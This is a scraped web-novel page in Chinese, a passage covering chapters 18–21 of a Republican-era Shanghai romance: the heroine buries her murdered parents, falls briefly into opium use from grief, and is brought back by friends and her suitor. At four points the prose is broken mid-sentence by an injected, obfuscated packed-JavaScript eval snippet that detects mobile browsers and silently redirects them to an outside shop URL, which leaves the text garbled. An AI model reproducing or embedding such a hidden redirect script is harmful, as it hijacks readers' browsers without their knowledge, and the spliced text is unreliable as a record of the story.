他说着，挥了挥手。手下立刻散开，将赵副官和他的士兵团团围住。那些士兵见势不妙，枪口开始摇摆不定。 何思玥还被按在地上。她抬起头，看着杨石泽——这个平日里斯文儒雅的律师，此刻像一尊煞神，挡在她和死亡之间。 “杨先生……”她声音嘶哑。 杨石泽看了她一眼，眼神里闪过一丝不忍，但很快恢复冷硬：“何小姐，你没事吧？” “我……”她想说没事，但喉咙像被火烧过，发不出声音。 赵副官咬牙：“杨石泽，你敢动我？我是军政府的人！刘参谋长不会放过你！” “刘参谋长？”杨石泽笑了，“赵副官，你还不知道吧？今天凌晨，刘参谋长已经被南京方面带走了。理由是——纵容下属，贪赃枉法。” 这话像一记重锤，砸得赵副官站立不稳。他踉跄后退，脸色惨白如纸。 “不可能……不可能……” “没什么不可能。”杨石泽冷冷道，“沈晏去南京，你以为真是去谈生意？他是去送这些材料。现在，该倒台的人，一个都跑不掉。” 他不再看赵副官，径直走向何思玥。按着她的两个士兵下意识地松了手，后退几步。 杨石泽蹲下身，轻轻扶起何思玥。她浑身冰冷，像刚从冰窖里捞出来，只有眼眶是烫的，眼泪不停地流，却发不出哭声。 “何小姐，”杨石泽的声音放柔了些，“我们先离开这里。” 何思玥摇头。她看向父母倒下的方向——杨石泽的手下已经过去，用白布盖住了他们的身体。血从白布下渗出来，晕开一片刺目的红。 “我……”她张了张嘴，“我想……送送他们。” 杨石泽沉默片刻，点头：“好。” 他扶着她走过去。每一步都像踩在刀尖上。何思玥跪在父母身边，伸手想掀开白布，但手指抖得厉害，怎么也碰不到。 杨石泽替她掀开一角。何荣笙和夫人闭着眼睛，脸上很平静，像睡着了。只有胸前的弹孔和血迹，提醒着刚才发生了什么。 何思玥伸出手，轻轻碰了碰父亲的脸。还是温的。她想起小时候发烧，父亲也是这样摸着她的额头，一整夜不睡。 “爹，”她轻声说，“娘……我来晚了。” 眼泪砸在父亲脸上，混着血水，流下来。 杨石泽站在她身后，没有催促，也没有安慰。他知道，有些痛，只能自己熬过去。 远处，赵副官已经被杨石泽的人控制住，铐上手铐，塞进车里。那些士兵也缴了械，蹲在一边，瑟瑟发抖。 “杨先生，能请你帮我先找一个地方把我父亲和母亲安葬吗？” 杨石泽看着跪在血泊中、脊背挺得笔直却微微颤抖的何思玥，心头一紧，他脱下自己的外套，轻轻披在她单薄的肩上。 “能。”他沉声应道，声音在空旷的街道上显得格外清晰，“我立刻安排。” 他转身，对身后一名镖局头目低声吩咐了几句。 那人点点头，迅速带了几个人离开，很快找来了两辆干净的平板车，还不知从哪里寻来了两卷干净的白布和几张草席。 整个过程，何思玥都一动不动地跪在那里，握着母亲冰凉的手，眼睛死死地盯着父母安详却再无生气的面容。 她没有再哭出声，只有眼泪无声地、不停地滑落，冲刷着脸上沾染 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978443|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的血污和灰尘。 杨石泽示意手下人帮忙。他们动作尽量轻缓，用白布仔细裹好何荣笙夫妇的遗体，再覆上草席，稳稳地抬上平板车。 “何小姐，”杨石泽蹲下身，声音放得很轻，“我们去城西的义庄，那里清净，也安全。我已经让人去请最好的棺木和法事师傅，一切……都会安排妥当。” 何思玥像是没听见，直到父母被安置妥当，她才缓缓转过头，看向杨石泽。她的眼神空洞得吓人，仿佛所有的光都在刚才那两声枪响中熄灭了。 “……谢谢。”她的声音干涩嘶哑，几乎不成调。 杨石泽心中恻然，伸出手想扶她起来，何思玥却自己撑着地面，摇摇晃晃地站了起来。 她的旗袍下摆浸满了泥水和暗红的血迹，膝盖处也磨破了，但她似乎毫无知觉。 她走到平板车前，伸出手，轻轻放在覆着白布的轮廓上，停留了片刻，然后转过身，对杨石泽说：“走吧。” 那声音里有一种近乎残酷的平静。 杨石泽点点头，示意手下推车。一行人沉默地穿行在黎明前最黑暗的街道上。 雨已经停了，但空气中弥漫着浓重的水汽和血腥味。远处租界的灯光影影绰绰，仿佛另一个世界。 城西的义庄位置偏僻，是一处老旧的院落。 杨石泽显然提前打点过，看守的老头默默开了门，引他们到一处干净的空屋。 棺木很快也送到了，是上好的楠木。法事师傅也陆续赶来，开始布置简单的灵堂。白烛点燃，香火袅袅，给这冰冷死寂的屋子增添了一丝虚幻的暖意。 何思玥一直站在父母的遗体旁，看着人们忙碌。 她没有插手，也没有说话，只是静静地看着。当棺盖即将合上的那一刻，她忽然上前一步，将自己一直紧握在手里的、染了血的怀表——那是父亲从不离身的旧物，轻轻放在了父亲胸前。 然后，她后退一步，深深鞠了三个躬。 杨石泽站在她身后，也郑重地鞠了躬。 棺盖合拢，钉死。沉重的响声在寂静的灵堂里回荡，宣告着永远的离别。 “何小姐，是先暂时寄存在此，还是……”杨石泽低声询问。按照习俗，本该停灵几日，再择吉日下葬。但如今形势险恶，赵副官虽已落网，其背后是否还有余孽未清，难说。 何思玥的目光从棺木上移开，望向窗外渐渐泛起鱼肚白的天空。她脸上没有太多表情，只有一种被巨大悲伤冲刷后的、近乎透明的苍白。 “入土为安吧。”她轻轻说，“爹娘一生不喜喧闹，也不愿再停留在这污糟的世道里。找个清净地方，让他们早些安歇。” 她顿了顿，补充道：“不要大张旗鼓，简单些就好。” 杨石泽明白了她的意思。 时局动荡，何家又刚遭此大难，低调处理是最好的选择。“好。我在西郊有一处私产，附近有片小山坡，风景尚可，也僻静。若何小姐不嫌弃……” “有劳杨先生。”何思玥微微颔首，算是同意了。 天色微明时，两具棺木被悄悄运往西郊。 没有送葬的队伍，没有哭声，只有一辆马车和几个沉默的护送者。何思玥坚持跟着马车步行，杨石泽陪在她身侧。 晨雾弥漫在山间小路上，草木挂着露珠。在一片背山面水、松柏环绕的平缓坡地上，早已挖好了两个墓穴。 简单的仪式后，棺木缓缓入土。何思玥抓起了第一把土，撒在父母的棺盖上。泥土落在楠木上，发出细微的沙沙声，像最后一声叹息。 当坟墓终于垒起，立上简单的石碑（只刻了父母姓名和生卒年月，未写其他）时，朝阳恰好跃出远山，金色的光芒刺破晨雾，洒在这座新坟上，也照亮了何思玥毫无血色的脸。 她静静地看着墓碑，看了很久很久。晨风拂过，吹动她凌乱的发丝和染血的衣襟。 杨石泽在一旁默默守着，没有打扰。 19. 第 19 章 何思玥在沈晏的法租界公寓里，一呆就是半个月。 窗外梧桐叶从嫩绿变成了深绿，初夏的阳光一日盛过一日，但她觉得冷。那种冷是从骨头缝里渗出来的，穿再多衣服也捂不热。 沈希希每天都来，带着私塾里女生们写的信，折的纸鹤，画的小画。 周晓芸更是几乎住在了这里，清晨来，深夜走，默默地做饭、熬药、陪她坐着。 可何思玥不说话。她常常一整天都坐在窗边的藤椅里，看着楼下的街道。 电车叮叮当当地驶过，报童吆喝着最新的新闻，隔壁咖啡厅的留声机飘出周璇的歌——“夜上海，夜上海，你是个不夜城……” 这些声音，这些画面，都像隔着一层厚厚的玻璃，传不进她的心里。她的心停在了那片染血的空地上，停在了父母最后看她的眼神里。 夜里更糟。一闭上眼睛，就是枪声，是血，是父亲无声的“快跑”。她整夜整夜地睡不着，眼睛瞪得生疼，却不敢闭。 杨石泽请了医生来看，开了安神的药。药吃了，能睡两三个钟头，但噩梦更凶——梦里父母一遍遍地死，她一遍遍地扑过去，一遍遍地被按住。 终于有一天，她从噩梦中惊醒，冷汗浸透了睡衣。 窗外天色将明未明，房间里一片死寂。 她忽然想起父亲书房里，那个锁着的抽屉——里面有些“特别”的东西，是父亲年轻时用来止痛的。 鬼使神差地，她爬起来，翻出那把黄铜钥匙（沈晏给的第二把钥匙，能开公寓里所有的锁），打开了书桌最底下的抽屉。 里面有个紫檀木盒子，打开，是一套精巧的烟具，还有一小包深褐色的膏体。她知道这是什么——阿芙蓉膏。 父亲曾说过，年轻时受了重伤，痛得受不了，用过几次。“这东西能让人忘记疼，”他说，“但代价太大。思玥，你记住，再疼也别碰。” 可她现在太疼了。 那种疼不是伤口，是心里被挖空了一大块，冷风呼呼地往里灌，疼得她想把心掏出来扔掉。 她的手在抖，打开油纸，那股甜腻又诡异的香气飘出来。她想起码头那些躺在烟馆门口的烟鬼，想起他们空洞的眼神，瘫软的身体。 可是……可是他们至少不疼了，不是吗？ 第一口呛得她直咳嗽。但很快，一种奇异的温暖从喉咙蔓延到四肢，像泡在温水里。 那些尖锐的疼痛开始模糊，像隔着毛玻璃看世界。父母的死，白家的败落，赵副官那张脸……都变得遥远，变得不真实。 她闭上眼，终于睡着了。没有噩梦，什么都没有，只有一片空白的、温吞的安宁。 沈希希是第一个发现的。 那天下午她来送点心，敲了半天门没人应。用备用钥匙打开门，看见何思玥蜷在沙发里，脸色苍白，嘴角却带着一种诡异的、餍足的笑。 旁边的烟具还没收，空气里残留着那股甜腻的味道。 “何老师！”沈希希手里的食盒“哐当”掉在地上。 何思玥慢慢睁开眼，眼神涣散：“希希啊……你来了……” “你……你怎么能……”沈希希冲过去，一把打掉她手里的烟枪，眼泪一下子就涌出来，“这是我哥的房子！你怎么能在这里……在这里抽这个！” 何思玥看着她，眼神还是散的：“希希，我疼……” “疼也不能碰这个！”沈希希哭喊着，“我哥知道了会疯的！何老师，你醒醒啊！” 可何思玥又闭上了眼睛，那种温吞的空白又包裹了她。疼痛远了，愧疚远了，连沈希希的哭声都远了。 周晓芸来时，看见沈希希抱着何思玥哭，而何思玥像个没有灵魂的娃娃，任她摇晃，没有反应。 “我去找杨律师。”周晓芸当机立断。 杨石泽赶来时，脸色铁青。他一把拉起何思玥，将她拖到浴室，打开冷水龙头就往她头上浇。 “何思玥！你给我醒醒！” 冷水激得何思玥一个哆嗦，眼神终于聚焦了些。她看见镜中的自己——头发湿透贴在脸上，脸色惨白，眼眶深陷，像个鬼。 “看看你自己！”杨石泽的声音在发抖，“看看你现在是什么样子！何老师和夫人要是看见，他们会怎么想？沈晏要是看见，他会怎么样？” 沈晏。这个名字像一根针，扎破了那层温吞的泡沫。何思玥浑身一颤，眼泪混着冷水流下来。 “我……我忍不住……”她抱住自己，蹲在地上，缩成一团，“太疼了……杨先生，真的太疼了……” 杨石泽看着她，这个曾经像玉兰一样挺拔的女子，此刻蜷缩得像片枯叶。他深吸一口气，关掉水龙头，拿过毛巾披在她身上。 “疼，我知道。”他的声音软下来，“但何思玥，你不能用这种方式止痛。这是饮鸩止渴，你会毁了自己。” 他蹲下身，看着她的眼睛：“你父母拼了命让你活下来，不是为了让你变成烟鬼。沈晏拼了命要保护你，不是为了看到你现在这样。” 何思玥的眼泪流得更凶。她知道，她都知道。可心里的那个洞太大，太冷，她不知道除了用这种虚假的温暖去填，还能怎么办。 “给我……再给我一点……”她听见自己在哀求，声音卑微得不像自己，“就一点……让我睡一会儿，就一会儿……” 杨石泽闭了闭眼。再睁开时，眼神变得坚决：“不行。从今天起，我会让人看着你。烟具全部收走，药我会让医生换。” 他站起身，对门外的周晓芸说：“晓芸，你去请陈校长。私塾不能没有何老师，学生们需要她。” 周晓芸红着眼点头，跑出去了。 杨石泽又看向沈希希：“希希，你哥什么时候回来？” “电报说……后天下午的船。”沈希希哽咽道，“杨先生，别告诉我哥……他会受不了的。” 杨石泽没说话。他看着蜷在地上的何思玥，心里像压了块石头。 他知道，沈晏回来，看到这样的何思玥，会是什么反应。那个总说“投资绿洲”的商人，看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978444|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的绿洲快要枯死，会发疯的。 可他也知道，有些坎，只能自己迈过去。别人再帮，也只是扶着，不能替她走。 他让女佣来给何思玥换衣服，自己走到书房，给沈晏发了封加急电报。只有一行字： “速归。思玥需你。” 发完电报，他站在窗前，看着楼下的街道。梧桐叶在风里沙沙作响，像无数细小的叹息。 他想，也许废墟上盖新厂房，最难的不是垒砖砌瓦，是清除瓦砾下的毒草。而那些毒草，往往是自己心里长出来的。 夕阳西斜时，何思玥终于清醒了些。她坐在窗前，看着晚霞染红天际。周晓芸端来粥，她一勺一勺地吃，很慢，但到底吃下去了。 “老师，”周晓芸小声说，“陈校长明天来看您。她说……私塾的女生们都问，何老师什么时候回来上课。” 何思玥的手顿了顿。她想起那些女孩的眼睛，想起她们画画时的专注，想起周晓芸说“谢谢你让我看见光”。 “我……”她的声音沙哑，“我这个样子，怎么教她们？” “您什么样子都可以教。”周晓芸握住她的手，“因为您教我们的，不是怎么画画，是怎么看世界，怎么……怎么在难的时候，还能站直了。” 何思玥看着这个女孩。才几个月时间，周晓芸已经不像当初那个怯生生的穷学生了。她的眼睛里有光，有坚定，有对未来清晰的渴望。 那是她曾经想给所有女孩的东西。 “晓芸，”她轻声问，“如果我……如果我走错了路，你们还会认我这个老师吗？” 周晓芸的眼泪掉下来：“老师，您没有走错路。您只是……只是太累了，歇一歇。歇够了，咱们再往前走。” 窗外，暮色四合。远处教堂的钟声传来，一声，一声，悠长而安宁。 何思玥低下头，看着自己的手。这双手，曾经握过画笔，握过教案，握过父亲最后温热的掌心，也握过那杆带来虚假温暖的烟枪。 她慢慢握紧拳头，指甲陷进掌心。疼痛是真实的，至少比那种温吞的空白真实。 “好。”她听见自己说，“歇一歇，再往前走。” 夜深了。何思玥躺在床上，睁着眼睛看天花板。那种熟悉的、尖锐的疼痛又回来了，像无数根针扎在心里。 她咬着被角，浑身发抖，但没有起身去找那个紫檀木盒子。 因为窗外，梧桐树的影子在月光里摇曳，像某个人温柔的手，在轻轻拍打窗棂。 而那个人，正在回来的路上。 沈晏回来的时候，何思玥正在睡觉。 他打开门看到何思玥憔悴面容的时候，心像被狠狠攥了一把。 他站在卧室门口，手里还提着行李箱，风尘仆仆，连西装外套都没来得及脱。 半个月不见，她瘦得脱了形。脸颊凹陷下去，眼下是浓重的青影，嘴唇干裂，头发散乱地铺在枕头上。 睡梦中，她眉头紧锁，身体微微蜷缩，像在抵御什么看不见的寒冷。 20. 第 20 章 沈晏轻轻放下行李箱，脱下外套，走到床边。 他想碰碰她的脸，手伸到一半，却停住了——怕惊醒她，更怕她醒来后，眼里是那种他从未见过的空洞。 杨石泽的电报只说了“思玥需要你”，没说具体。 但沈晏知道，一定是出了大事。 他日夜兼程赶回来，船刚到码头就收到第二封电报，是杨石泽发的，简短几个字：“伯父母遇害，思玥悲痛，染阿芙蓉，速归。” 阿芙蓉。这三个字像烧红的烙铁，烫得他五脏六腑都在疼。 他慢慢在床边的椅子上坐下，就这么看着她。 晨光从窗帘缝隙透进来，一点一点爬上她的脸。她的睫毛在颤抖，呼吸很浅，像随时会断掉。 不知过了多久，何思玥醒了。她睁开眼，眼神先是涣散，然后慢慢聚焦。当她看见床边的人时，整个人僵住了。 “沈……晏？”她的声音沙哑得像砂纸磨过。 “嗯。”沈晏应了一声，声音很轻，“我回来了。” 何思玥看着他。他瘦了，也黑了，下巴有青色的胡茬，眼睛里全是红血丝。 西装皱巴巴的，衬衫领口松开，整个人透着长途跋涉后的疲惫。 可他的眼睛，看着她的眼睛，还是那种熟悉的、专注的、温柔得像要把人溺毙的眼神。 “你……”她想坐起来，但浑身无力。 沈晏扶她起来，在她背后垫好枕头。他的动作很轻，很小心，像对待一件易碎的瓷器。 “渴吗？”他问。 何思玥点点头。 沈晏去倒了杯温水，递到她嘴边。她就着他的手喝了几口，水温刚好，不烫也不凉。 喝完水，两人一时无话。房间里静得能听见窗外梧桐叶的沙沙声。 “你父母的事，”沈晏终于开口，声音低哑，“我都知道了。” 何思玥的手指攥紧了被角。她别过脸，看向窗外，眼泪无声地流下来。 “对不起。”沈晏说，“我没能赶回来。” “不怪你。”何思玥的声音带着哭腔，“是我……是我太天真，以为钱能解决一切……” “不是你的错。”沈晏握住她的手，她的手冰凉，还在发抖，“是那些人太狠，太贪。” 他顿了顿，声音更低了：“杨石泽说，你……碰了阿芙蓉。” 何思玥浑身一颤。她想抽回手，但沈晏握得更紧。 “看着我，思玥。”他说。 何思玥慢慢转过头，看向他。眼泪模糊了视线，她看不清他的表情，只看见那双布满血丝的眼睛里，有心疼，有痛楚，但没有指责。 “疼吗？”他问。 这个问题太简单，也太复杂。何思玥张了张嘴，最终只是点头。 “我知道。”沈晏将她的手贴在自己脸上，“我知道那种疼。像心里被挖空了，冷风呼呼地往里灌，疼得想把自己撕碎。” 他的脸很暖，掌心有薄茧，蹭着她的皮肤，带来真实的触感。何思玥的眼泪流得更凶。 “可是思玥，”沈晏看着她的眼睛，一字一句地说，“疼，也不能碰那个东西。那不是止痛，那是饮鸩止渴，是把自己变成鬼。” 他松开手，从怀里取出那个紫檀木盒子——杨石泽收走后交给他的。他打开盒子，里面是那套烟具和那包阿芙蓉膏。 “这是我母亲留下的。”沈晏的声音很平静，却像在压抑着什么，“她去世前那段时间，疼得受不了，也用过。我看着她从清醒到糊涂，从温柔到暴躁，最后……连我是谁都认不出来。” 他将盒子拿到窗边，打开窗户。清晨的风涌进来，带着梧桐叶的清香。 “那天她清醒了一小会儿，拉着我的手说：‘沈晏，如果有一天你疼得受不了，记得，再疼也别碰这个。因为它会让你忘记疼，也会让你忘记爱，忘记恨，忘记自己还是个人。’” 说完，他将盒子连同里面的东西，从窗口扔了下去。三楼的高度，盒子落地时发出沉闷的响声。 何思玥怔怔地看着他。 沈晏走回床边，重新握住她的手：“思玥，你疼，我陪你疼。你哭，我陪你哭。你想砸东西，我陪你砸。但就是不能碰那个。因为你是何思玥，是我沙漠里唯一的绿洲。我不能看着我的绿洲，变成一片毒草丛生的荒原。” 他的声音在发抖。这个在商场上永远冷静自持的男人，此刻眼眶通红，握着她的手在微微颤抖。 何思玥看着他，看着这个为她抛下一切赶回来的男人，看着这个说要一直给她浇水的人。 忽然间，那些尖锐的疼痛，那些冰冷的空洞，好像有了可以安放的地方。 她扑进他怀里，放声大哭。不是无声的流泪，是撕心裂肺的、像要把五脏六腑都哭出来的痛哭。 沈晏紧紧抱着她，任由她的眼泪浸湿他的衬衫。他的手在她背上轻轻拍打，像安抚一个受了重伤的孩子。 “哭吧，”他在她耳边轻声说，“哭出来就好了。我在这儿，我陪着你。” 何思玥在沈晏的怀里大声地哭了起来。 “沈晏，我没有家了，我没有爸妈了。” 何思玥的哭声渐渐低了，变成断断续续的抽噎。她把脸埋在沈晏肩头，声音闷闷的，每个字都像从破碎的肺腑里挤出来： “沈晏……他们最后……最后看着我……让我跑……” 她的手指攥紧了他的衬衫布料，指节用力到发白：“可我跑不了……我被按着……我什么都做不了……” 沈晏感觉自己的心脏像被一只冰冷的手攥住了，疼得他几乎无法呼吸。 他能想象出那个画面——他的思玥，他骄傲的、总是挺直脊背的思玥，被人按在地上，眼睁睁看着父母死在眼前。 而他不在她身边。 这个认知比任何商业上的失败都更让他痛苦。 “你知道吗……”何思玥的声音飘忽起来，“我现在闭上眼……就能看见血……那么多血……从他们身上流出来……流了一地……” 她开始发抖，全身都在抖，牙齿磕碰出细碎的声响：“我爹身上那件长衫……是我娘新给他做的……湖蓝色的……她绣了竹叶在袖口……说竹报平安……” 她的声音哽住了，好一会儿才继续：“血把竹子……染红了……全红了……” 沈晏抱紧她，恨不得把她揉进自己的身体里，用自己的血肉去填补她心里的那个洞。可他知道，有些伤，是填不上的。只能等它自己结痂，等时间把它磨成一道疤。 “思玥，”他声音沙哑，“想哭就哭，想说什么就说。我在这儿听着。” “我没有家了……”何思玥重复着这句话，像在确认一个残酷的事实，“何家的宅子被封了……书房里的书被扔了一地……我娘养的那缸金鱼……没人喂……都死了……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978445|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她说得颠三倒四，一会儿是父母，一会儿是宅子，一会儿又是些不相干的细节。 但沈晏听懂了——她的整个世界，在一夜之间崩塌了。不仅是亲人，还有那些承载着记忆的物件，那些构成“家”的一切，都没了。 “我那天……那天想给我爹擦擦脸……”她的声音忽然变得很轻，“可是血干了……擦不掉了……怎么擦都擦不掉……” 她抬起手，看着自己的手掌，眼神空洞：“我手上……好像还有血……你闻到了吗？血腥味……” 沈晏握住她的手，贴在自己脸上：“没有血，思玥。你手上很干净。” “不……有……”她固执地说，“洗不掉的……永远都洗不掉了……” 她的眼神涣散了，像是又回到了那片空地，回到了那个染血的清晨。 沈晏知道，这是创伤后的应激——那些画面会不受控制地反复出现，像噩梦，但比噩梦更真实，因为它是真的发生过的。 “思玥，”他捧起她的脸，强迫她看着自己，“你好好看看我是谁，我是沈晏，以后有我的地方就是你的家，你现在在法租界，在我的公寓里。你安全了。那些伤害你的人，已经抓起来了。” 何思玥怔怔地看着他，看了很久，眼神才慢慢聚焦。 “沈晏……”她喃喃道，“真的是你……” “是我。”他点头，“我回来了。以后再也不会离开你这么久了。” 何思玥的眼泪又流下来，但这次是安静的、温顺的泪。她靠回他怀里，声音疲惫得像走了很远的路： “我好累……沈晏……我好累……” “那就睡一会儿。”他轻拍她的背，“我在这儿守着你。” “我睡不着……一闭眼就……” “我陪着你。”沈晏打断她，“你闭眼，我就在这儿。你做噩梦了，我就叫醒你。你冷了，我就给你盖被子。你渴了，我就给你倒水。” 他说得很慢，每个字都说得很清楚，像是在做一个郑重的承诺：“思玥，从今往后，你不是一个人了。你的疼，我分担一半。你的累，我分担一半。你没有家了，我给你一个家。” 何思玥闭上眼睛。眼泪从眼角滑落，渗进鬓发里。 许久，她才轻声说：“沈晏……你何必……” “因为你是我的一直喜欢的女孩子。”他答得毫不犹豫，“守护自己喜欢的女孩子，是我一生必修课。” 窗外，阳光完全升起来了。金色的光柱透过窗帘缝隙，照在地板上，照亮了空气中的微尘，也照亮了相拥的两个人。 何思玥终于睡着了。呼吸很浅，眉头还皱着，但至少睡着了。 沈晏保持着一个姿势，一动不动，怕惊醒她。他看着她的睡颜，看着她憔悴的脸，看着她眼下的青影，心里那种尖锐的疼，慢慢变成了一种深沉的、绵长的痛楚。 他想，也许这就是爱——不是你看到她完美时的欣赏，而是你看到她破碎时的疼惜。不是你想拥有她的完整，而是你愿意用自己的完整，去补她的残缺。 他轻轻吻了吻她的额头，声音低得只有自己能听见： “思玥，从今往后，我的家就是你的家。我的命就是你的命。你想哭，我陪你哭。你想报仇，我帮你报。你想重建何家，我出钱出力。你想办女子私塾，我倾家荡产也支持。” “我只要你好好活着。只要你还是你。” 21. 第 21 章 三天后，陈校长来了。 她提着一篮新鲜的枇杷，还有一沓用丝带系好的学生作业。 走进公寓时，脚步放得很轻，像是怕惊扰了什么。 何思玥正坐在窗边的藤椅里，身上披着沈晏的西装外套。她的脸色比前几日好些了，但眼神依然空茫，像蒙着一层薄雾。 “思玥。”陈校长在她对面坐下，声音温和，“好些了吗？” “好多了。”何思玥勉强笑了笑，“谢谢您来看我。” 陈校长将篮子推过去：“学生们托我带给你的。周晓芸说，这是她家院子里结的，特别甜。” 何思玥看着那些金黄的枇杷，眼神动了动，却没伸手。 “这是她们的作文。”陈校长解开丝带，最上面一篇的题目是《我的老师》，“都想让你看看。” 何思玥接过作文本，一页接着一页缓缓翻开。熟悉的字迹映入眼帘——是周晓芸的：“我的老师叫何思玥。她教我们画画，教我们看世界。她说，女子也能有自己的天地，也能做想做的事。她带我们去码头，让我们看见真实的生活。她的眼睛很亮，像星星。我希望有一天，我的眼睛也能像她一样亮。” 字迹工整，一笔一画都透着认真。 何思玥的手指抚过那些字，指尖微微发颤。 “学生们都很想你。”陈校长轻声说，“尤其是周晓芸，每天放学都来问我，何老师什么时候回来。” 何思玥沉默了很久。 窗外的梧桐叶在风里沙沙作响，像无数细小的叹息。 “陈校长，”她终于开口，声音很轻，“我……可能回不去了。” 陈校长一愣：“为什么？” 何思玥看向窗外。 阳光很好，照得法租界的街道明亮而整洁。远处有电车驶过，叮叮当当的声音传来，像某种遥远的召唤。 “这条路太难走了。”她说，每个字都说得很慢，像是在说服自己，“我原本以为，只要教她们识字、画画、看世界，她们就能有不一样的人生。可是现在……我还是太天真了。” 她顿了顿，声音更低了：“现在我才明白，这世道……容不下不一样。谁想不一样，谁就要付出代价，而我已经付出了很大的代价。” “思玥，”陈校长握住她的手，“这不是你的错。” “我知道。”何思玥点头，“可我怕了。我怕再有人因为我受牵连，怕再有人因为我……” 她没说完，但陈校长懂了。 何家的事，那些血腥的细节，她多少知道一些。她知道这个年轻的姑娘，承受了怎样沉重的打击。 “可是思玥，”陈校长轻声说，“如果你不回去，那些女孩怎么办？周晓芸已经决定考女子师范了，她说想成为像你一样的老师。沈希希的画被法租界的画廊看中，说要展出。还有那么多女孩，她们刚刚睁开眼睛，刚刚开始看见光……” “那就让她们看见别的光吧。”何思玥打断她，声音里带着疲惫，“一条不那么刺眼、不那么危险的路。也许……也许教会学校更适合她们。至少安全。” 陈校长看着她。这个曾经像一团火的姑娘，此刻眼神黯淡，脊背虽然挺着，却透着一种深重的无力感。 “思玥，”陈校长说，“你还记得林老师吗？” 何思玥怔了怔。 “她当年办女学时，被人扔过石头，被泼过粪水，家也被砸过。”陈校长慢慢地说，“有一次，她被打得头破血流，躺在病床上，我问她：‘还办吗？’” “她怎么说？” 陈校长笑了，笑容里带着怀念：“她说：‘办。只要还有一个女孩想读书，我就办。石头来了，我挡着。粪水来了，我洗掉。家没了，我再建。但路，一定要走下去。’” 何思玥的眼眶红了，这些林老师都没有和她提过。 “思玥，”陈校长看着她，“这条路是难走，可正因为难走，才需要有人走。如果你不走了，那些刚睁开眼睛的女孩怎么办？她们会以为，这世界就这样了，女子就该待在闺房里，绣花、嫁人、生儿育女，一辈子看不见外面的天。” 她站起身，走到窗边，看着楼下的街道：“你看看这上海滩，高楼大厦，汽车电车，好像很新了。可你看看那些小巷子里，还有多少女孩裹着小脚，多少女孩不识字，多少女孩被当成货物一样买卖。” 她转过身，眼神恳切：“思玥，我们需要你。那些女孩需要你。你不是一个人，你身后有我，有沈先生，有所有相信这条路该走下去的人。” 何思玥低下头，看着手中的作文。周晓芸的字迹在阳光下微微发亮，那些稚嫩却坚定的句子，像小小的火苗，在她心里某个冰冷的角落，轻轻跳跃。 “可是我……”她的声音哽咽，“我现在的样子，怎么教她们？我自己都……都站不直了。” “那就先学着站直。”一个声音从门口传来。 两人转头，看见沈晏站在那里。他不知道什么时候回来的，手里提着药包，显然是去抓药了。 他走进来，将药包放在桌上，走到何思玥身边，蹲下身，握住她的手。 “思玥，”他看着她的眼睛，“谁规定老师就必须永远坚强，永远正确？你可以告诉她们，你也会疼，也会怕，也会想放弃。但重要的是——” 他顿了顿，一字一句地说：“重要的是，疼过了，怕过了，想放弃了，最后还是选择站起来，继续走。” 何思玥看着他。他的眼睛很亮，像夜里的星，照进她心里那片黑暗。 “沈先生说得对。”陈校长点头，“思玥，真正的教育，不是教人永远不跌倒，而是教人跌倒了怎么爬起来。你现在经历的，恰恰是最生动的一课——教她们，人生会有风雨，但风雨过后，还有阳光。” 窗外，一只麻雀落在窗台上，歪着头看着屋里的人，叽叽喳喳叫了几声，又飞走了。 阳光移过来了，照在何思玥脸上，暖洋洋的。她闭上眼睛，感觉到那久违的、真实的温度。 许久，她睁开眼睛，看向陈校长：“学生们……真的还愿意让我教吗？” “她们一直在等你。”陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978446|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 校长说，“昨天沈希希还画了一幅画，叫《等老师回来》。画上是一个空着的讲台，黑板上写着半道没写完的题，窗外的紫藤开了，阳光照进来，满室金黄。” 何思玥的眼泪掉下来。她擦了擦，嘴角却慢慢扬起一个很轻、却很真实的笑容。 “好。”她说，“等我……等我好一点，我就回去。” 陈校长长长舒了口气，眼眶也红了：“好，好。不急，你好好养着。私塾那边，我先替你看着。” 